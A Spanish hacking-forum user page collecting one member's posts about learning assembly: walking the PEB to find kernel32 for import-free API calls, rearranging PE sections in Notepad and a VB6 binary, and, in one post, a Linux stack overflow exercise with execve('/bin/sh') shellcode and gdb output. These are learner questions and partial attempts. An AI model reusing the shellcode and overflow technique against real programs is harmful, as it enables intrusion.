Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Belial & Grimoire

#211
CitarRHL

El problema es que solo estas haciendo copy - paste y quiza ni sabes lo basico de lenguaje ensamblador ( no lo digo de mal forma )
solo viendo tu codigo

que es eso? crees que no seria mucho más seguro y rapido comprobarlo por vos mismo y tratar de ensamblar y depurar el codigo para ver si funciona?
si se obtiene lo que esperas es porque funciona no? sino hay que depurar.

jeje yo se que parece un copy - paste, pero si e investigado sobre la estructura PEB, incluso en el primer post describo que estudie el como encontrarlo, talvez hay formas mas optimas pero apenas estoy empezando con ASM por eso no puedo hacer todavia algo mas optimo

el problema tambien esta en que no encuentro tutoriales ASM con ejercicios, solo encuentro con 3 ejercicios, un "hola mundo", un MessageBoxA y una GUI

asi que pues decidi, hacer cosas que hago en C, pero en ensamblador para irme acostumbrando

Y si trate de comprobarlo pero no me funciono, y preferi poner un intento fallido, a no poner nada y que piensen que estoy esperando que alguien me haga todo


CitarmDrinky

http://el-blog-de-thor.blogspot.com.es/2011/05/usando-getprocaddress-y-loadlibrary_07.html

gracias, de aqui encontre la explicacion de la estructura PEB y esta parte no la habia visto

Citar_Enko
Tampoco dices que es lo que quieres lograr.

No pudes utilizar win32ax.inc si no quieres tener una sección de imports. Porque ese conjunto de macros te agrega todos los imports automáticamente.

A ningún antivirus le gustan las ejecutables que no tengan una sección con imports.

pues de hecho si lo hice, en el primer post comente que queria saber como encontrar las direcciones para ejecutar un messagebox con un mensaje

algo parecido a C

Este codigo sencillo es mio, no vayan a pensar que lo copie  ;D

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

typedef int (CALLBACK *MSBX)(HWND, LPCTSTR, LPCTSTR, UINT);

int main(int *argv, char *argc){

HMODULE han;
MSBX msgbox;

han = LoadLibrary(L"User32.dll");
msgbox = (MSBX)GetProcAddress(han, "MessageBoxA");

msgbox(NULL,"mensaje","exito!!", NULL);

}


a lo de win32ax solo lo puse porque me dijeron que si ponia eso, ya no era necesario imports, pero entonces creo mejor lo quitare y me acostumbrare a los imports  ;D

CitarИōҳ

Tienes que estudiar el Formato PE.

pues si los estuve estudiando, de hecho fui el que mas pregunto en el taller de "The Swash", la verdad me ayudo mucho su taller, logre aprender bastante

CitarMCKSys Argentina
Esto esta en los ejemplos del paquete MASM: \masm32\examples\exampl06\mob\noimport

Aca se saca la base del Kernel del stack. Creo que sacarlo de la PEB es mejor.. :)

gracias, pero eso es lo que estoy tratando de encontrar es despues de kernel32, que mas sigue, por eso pedia saber que mas necesito estudiar o entender para poder continuar, digo no busco que me pongan el codigo, sino que tengo que aprender o buscar para poder avanzar y si llegara a tener problemas, esperar que alguien aqui me pueda orientar, sobre que podria estar haciendo mal

bueno, espero me pudan ayudar

salu2
#212
hola

gracias por responder

asi pongo el codigo con [fs:0x30], pero me aparece un error al ejecutarlo, intente depurarlo pero la verdad no entendi cual seria el error  :(

Código (asm) [Seleccionar]
include 'C:\fasm\include\win32ax.inc'

.data
Kerbel dd ?

.code
start:
xor eax, eax
mov eax, [fs:0x30]
mov eax, [eax + 0x0C]
mov eax, [eax + 0x1C]
mov eax, [eax]
mov eax, [eax + 0x08]
mov [Kerbel], eax
invoke MessageBoxA, 0, [Kerbel],0
.end start     



y encontre esto

Código (asm) [Seleccionar]
stdcall [pGetProcAddress],[BaseKernel32],"LoadLibraryA"

pero no entiendo donde o como hizo una llamada a la Api GetProcAddress, solo tiene esto

Código (asm) [Seleccionar]
proc FuncionInyectada,pGetProcAddress
locals ; Definimos las variables locales
BaseKernel32 dd ?    ;MZ de la kernel32.dll
endl
;Leemos el PEB  para obtener la base del kernel
     xor  eax, eax
     add  eax,[fs:eax+30h]
     mov  eax, [eax + 0ch]
     mov  esi, [eax + 1ch]
     lodsd
     mov  eax, [eax + 08h]
     mov [BaseKernel32],eax ;Guardamos en BaseKernel32 el MZ de la kernel32.dll


y no veo como llamo  a la API, talvez es porque estoy acostumbrado a que en C se escribe que api necesitas porque aqui no lo veo

y tambien encontre

Código (asm) [Seleccionar]
include 'win32ax.inc'     ;Incluimos la libreria
.code                 ;Declaramos la sección de codigo .
start:  ;Entry point
invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
invoke GetProcAddress,eax,"lstrlenA"    ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll
mov ebx,eax                             ;Guardamos la direccion de lstrlenA en ebx
ret ; salimos
.end start ;Establecemos el EntryPoint y el


crees que si hago algo asi funcione?
Código (asm) [Seleccionar]
include 'C:\fasm\include\win32ax.inc'

.data
Kerbel dd ?

.code
start:
xor eax, eax
mov eax, [fs:0x30]
mov eax, [eax + 0x0C]
mov eax, [eax + 0x1C]
mov eax, [eax]
mov eax, [eax + 0x08]
mov [Kerbel], eax
invoke GetProcAddress, [Kerbel], "LoadLibraryA"
invoke GetModuleHandle, "user32.dll"
invoke GetProcAddress, eax, "MessageBoxA"

mov ebx, eax

push 0
push "hola"
push 0
push ebx
.end start


XD... bueno la verdad no se que hice, espero me puedan ayudar, porke no se como mas podria empezar

salu2
#213
hola

bueno, estoy aprendiendo asm, acabo de entender como encontrar PEB de kernel32.dll

DWORD Kerbel;

__asm{

xor eax, eax
mov eax, fs:[0x30]
mov eax, [eax+0x0C]
mov eax, [eax+0x1C]
mov eax, [eax]
mov eax, [eax+0x08]
mov Kerbel, eax

}

printf("PEB asm: %8X", Kerbel );


estuve revisndo sobre la estructura PEB, apuntar a InLoadOrderModuleList de LDR, etc...

ya lo intente y si me funciono, pero despues que tengo que hacer para encontrar LoadLibraryA?, y como podria utilizarlo para obtener la direccion con GetProcAddress de MessageBoxA y poder ejecutar un MessageBox con un mensaje?

y porcierto, porque ese mismo codigo en asm no me funciona en fasm?, cual es la diferencia?

espero me puedan orientar, salu2

#214
sigo sin lograr crear la shell en linux con un exploit... alguien tiene alguna idea de que podria ser?, esto es lo que hago

primero desactivo

Citarcat /proc/sys/kernel/randomize_va_space
0

compilo

Citargcc -g --no-stack-protector -z execstack vuln.c -o vuln

con GDB, analizo

Citar$(perl -e 'print "A" x 20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "B" x 4')

Breakpoint 1, overflow (
    badbeef=0xbffff5a4 'A' <repeats 20 times>, "1\300Ph//shh/bin\211\343P\211\342S\211\341\260\v̀BBBB") at vuln.c:6
6      strcpy(buffer, badbeef);

esto obtengo como resultado

Citar(gdb) x/x buffer
0xbffff320:   0x00000000
(gdb) x/x badbeef
0xbffff5a4:   0x41414141

Citar(gdb) x/50 $esp
0xbffff310:   0xb7f361d7   0xb7e955f5   0x0000002f   0xb7fbeff4
0xbffff320:   0x00000000   0x0804966c   0xbffff338   0x080482e8
0xbffff330:   0xb7ff1300   0x0804966c   0xbffff368   0x08048449
0xbffff340:   0xb7fbf324   0xb7fbeff4   0xbffff368   0x08048417
0xbffff350:   0xbffff5a4   0xb7ff1300   0x0804843b   0xb7fbeff4
0xbffff360:   0x08048430   0x00000000   0xbffff3e8   0xb7e7ce46
0xbffff370:   0x00000002   0xbffff414   0xbffff420   0xb7fe1860
0xbffff380:   0xb7ff7591   0xffffffff   0xb7ffeff4   0x08048254
0xbffff390:   0x00000001   0xbffff3d0   0xb7ff0986   0xb7fffac0
0xbffff3a0:   0xb7fe1b58   0xb7fbeff4   0x00000000   0x00000000
0xbffff3b0:   0xbffff3e8   0x50be839c   0x60c4758c   0x00000000
0xbffff3c0:   0x00000000   0x00000000   0x00000002   0x08048330
0xbffff3d0:   0x00000000   0xb7ff6730
(gdb) next
7   }
(gdb) x/50 $esp
0xbffff310:   0xbffff320   0xbffff5a4   0x0000002f   0xb7fbeff4
0xbffff320:   0x41414141   0x41414141   0x41414141   0x41414141
0xbffff330:   0x41414141   0x6850c031   0x68732f2f   0x69622f68
0xbffff340:   0x50e3896e   0x8953e289   0xcd0bb0e1   0x42424280
0xbffff350:   0xbfff0042   0xb7ff1300   0x0804843b   0xb7fbeff4
0xbffff360:   0x08048430   0x00000000   0xbffff3e8   0xb7e7ce46
0xbffff370:   0x00000002   0xbffff414   0xbffff420   0xb7fe1860
0xbffff380:   0xb7ff7591   0xffffffff   0xb7ffeff4   0x08048254
0xbffff390:   0x00000001   0xbffff3d0   0xb7ff0986   0xb7fffac0
0xbffff3a0:   0xb7fe1b58   0xb7fbeff4   0x00000000   0x00000000
0xbffff3b0:   0xbffff3e8   0x50be839c   0x60c4758c   0x00000000
0xbffff3c0:   0x00000000   0x00000000   0x00000002   0x08048330
0xbffff3d0:   0x00000000   0xb7ff6730

Citar(gdb) disass main
Dump of assembler code for function main:
   0x080483fe <+0>:   push   %ebp
   0x080483ff <+1>:   mov    %esp,%ebp
   0x08048401 <+3>:   and    $0xfffffff0,%esp
   0x08048404 <+6>:   sub    $0x10,%esp
   0x08048407 <+9>:   mov    0xc(%ebp),%eax
   0x0804840a <+12>:   add    $0x4,%eax
   0x0804840d <+15>:   mov    (%eax),%eax
   0x0804840f <+17>:   mov    %eax,(%esp)
   0x08048412 <+20>:   call   0x80483e4 <overflow>
   0x08048417 <+25>:   mov    $0x0,%eax
   0x0804841c <+30>:   leave 
   0x0804841d <+31>:   ret   

Citar(gdb) info r
eax            0xbffff320   -1073745120
ecx            0x0   0
edx            0x32   50
ebx            0xb7fbeff4   -1208225804
esp            0xbffff310   0xbffff310
ebp            0xbffff348   0xbffff348
esi            0x0   0
edi            0x0   0
eip            0x80483fc   0x80483fc <overflow+24>
eflags         0x246   [ PF ZF IF ]
cs             0x73   115
ss             0x7b   123
ds             0x7b   123
es             0x7b   123
fs             0x0   0
gs             0x33   51

al intentar poner RET me aparece esto

Citar(gdb) x/x buffer
0xbffff320:   0x00000000

Citar$(perl -e 'print "A" x 20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x20\xf3\xff\xbf"')

Breakpoint 1, overflow (
    badbeef=0xbffff5a4 'A' <repeats 20 times>, "1\300Ph//shh/bin\211\343P\211\342S\211\341\260\v̀P\363\377\277") at vuln.c:6
6      strcpy(buffer, badbeef);
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xfff35080 in ?? ()
(gdb) exit

Y no se que mas me falte o que este haciendo mal, alguien podria explicarme porfavor

salu2
#215
Redes / Re: mejor TP-LINK o d-link?
9 Junio 2012, 21:09 PM
pues yo tengo los 2 y el mejor hasta ahorita es

tp-link  ;D
#216
hola

bueno, pues ya logre agregar al block de notas mi sección y cambiarla con .reloc

solo que cambiar la secciones del block .text, .data, .rsrc y .reloc, he tenido problemas

si cambio .data y .reloc se alinea a 0x22200, pero .text y .rsrc son muy grandes y cuando los selecciono

0x1f200 ---> .rsrc

0xA800 ----> .text

abarca mucho incluso, se selecciona parte de .data y .reloc y no puedo borralos

ahora si primero cambio .rsrc y .text pasan dos cosas

si .text tiene que quedar en 0x22200, al seleccionar y luego eliminar 0xA800 ya no queda lineado con 0x22200, y pensando que si alineo .data y .reloc se alienaria todo... pero no alcanza y lo mismo pasa con .rsrc --> 0x1f200, es muy grande y si lo elimino ya no quedan alineados

lo unico que se me ocurre, es fijarme donde quedan alineados y volver a modificar PointerToRawData con las nuevas direcciones

Aunque...

de la misma manera que hice con el ejercicio de poner mi sección y cambiarlo por otra, al modificarlo ya no queda en 0x2BE00, la nueva direccion fue 0x2B000 y con cambiar eso funciono, aunque si al intentar cambiar .text con mi sección tambien hay algo mal

0x400 ---> .text

0x2BE00 --> .BAG

al cambiarlo quedo

0x400 ---> .BAG

0x21800 --> .text

queda como 0x21800 porque al borrar A800 de 0x2CA00 se eliminan hasta quedar en 0x21800

y son 0x2CA00 por la suma de mi sección agregada

pero me dice que ya no es un aplicacion win32

creo al eliminar A800, tambien elimino parte de .data incluso tambien .rsrc, talvez por eso falla

pero entonces tendria que eliminar de A800, el tamaño de las secciones siguientes para no tocarlas?


bueno almenos, ya logre agregar mi sección y cambiarla con .reloc, jeje ahora no tuve tiempo de practicar, pero creo cada vez entiendo mas  ;-)

salu2
#217
Hola

Ok creo si se tenia que modificar algunas cosas, bueno creo ahora haré el intento y como ejercicio tratare de agregar una secciona mia y vere si puedo cambiarla por. Text

Solo una última duda, porque quedo 0x1000 Reloc si la suma de la sección anterior no da. 0x1000?

Y otra pregunta, si filealigment es de 0x200 como podría estar alineado con 0xA800?

Bueno mientras haré esto y el ejercicio a ver que tal me va

Salu2
#218
si hice basicamente lo mismo que con la aplicacion VB6, el archivo queda con la misma cantidad de datos al final

0x2BE00

lo repeti varias veces para verificar que no me equivoque al cambiar los bytes, y conte poco a pco los hexa de las secciones

en la aplicacion de VB6, me salio bien, y se que practicamente es lo mismo, pero no se que podria ser ahora

mira esto es lo de la PE

000000E0 50 45 00 00 4C 01 04 00 0F C6 5B 4A 00 00 00 00 00 PE..L.....[J.....
000000F1 00 00 00 E0 00 02 01                               .......          


FileAligment

00020000

Esto es .text

000001D8 2E 74 65 78 74 00 00 00 8C A6 00 00 00 10 00 00 00 .text............
000001E9 A8 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 .................
000001FA 00 00 20 00 00 60                                  .. ..`          


este es .reloc

00000250 2E 72 65 6C 6F 63 00 00 34 0E 00 00 00 F0 02 00 00 .reloc..4........
00000261 10 00 00 00 AE 02 00 00 00 00 00 00 00 00 00 00 00 .................
00000272 00 00 40 00 00 42                                  ..@..B          


Y como te menciono, en la aplicacion de VB6 lo hice bien, pero aqui no se que podria pasar
#219
hola

estaba haciendo lo mismo de cambiar secciones en el block de notas, pero una pregunta

si SizeOfRawData, no esta lineado como en tu ejemplo

CitarSección .text: PointerToRawData: 0x200 SizeOfRawData: 0x200
    Sección .idata: PointerToRawData: 0x400 SizeOfRawData: 0x200
    Sección .data: PointerToRawData: 0x600 SizeOfRawData: 0x200

tendria que modficar eso tambien, por ejemplo en FileAligment me aprece 0x200

pero en .text es

.text: PointerToRawData: 00A80000 y SizeOfRawData: 00040000

y el de .reloc es

.reloc: PointerToRawData: 00100000 y SizeOfRawData: 00AE0200

en el caso de que fuece diferente, trendria que alinerlo, o que tendria que hacer?

salu2
#220
creo ya comprendi

entonces si a mi me aparece FileAligment como

00 20 00 00 -> 00 00 20 00

seria

00 00 20 17 -> 0x2017 - 0x17 = 0x2000

y si me apareciera

00 00 10 17 -> 0x1017 - 0x17 = 0x1000

acaso es asi?

pero, en el block de notas me aparece como 0x2000, entonces porque no funciona con 0x2000 y si funciona con 0x1000

porque bueno, al revisarlo, lo tengo en la posicion 11C

00 20 00 00, al agregar 0x17, entonces seria 17 20 00 00 - 0x17 = 00 20 00 00, pero de esa manera no funciona, tengo que dejarlo como 0x1000

00 10 00 00, pero porque?

y de lo de VB6, ya lo logre, movi ".Text" y ".rsrc" y si quedo bien y el icono tambien quedo bien

solo que intente mover ".Text" y ".data", e igual desaparece el mensaje, incluso ahora me aparece Messagebox, pero vacio, jeje, quien sabe porque con ese me sale raro

salu2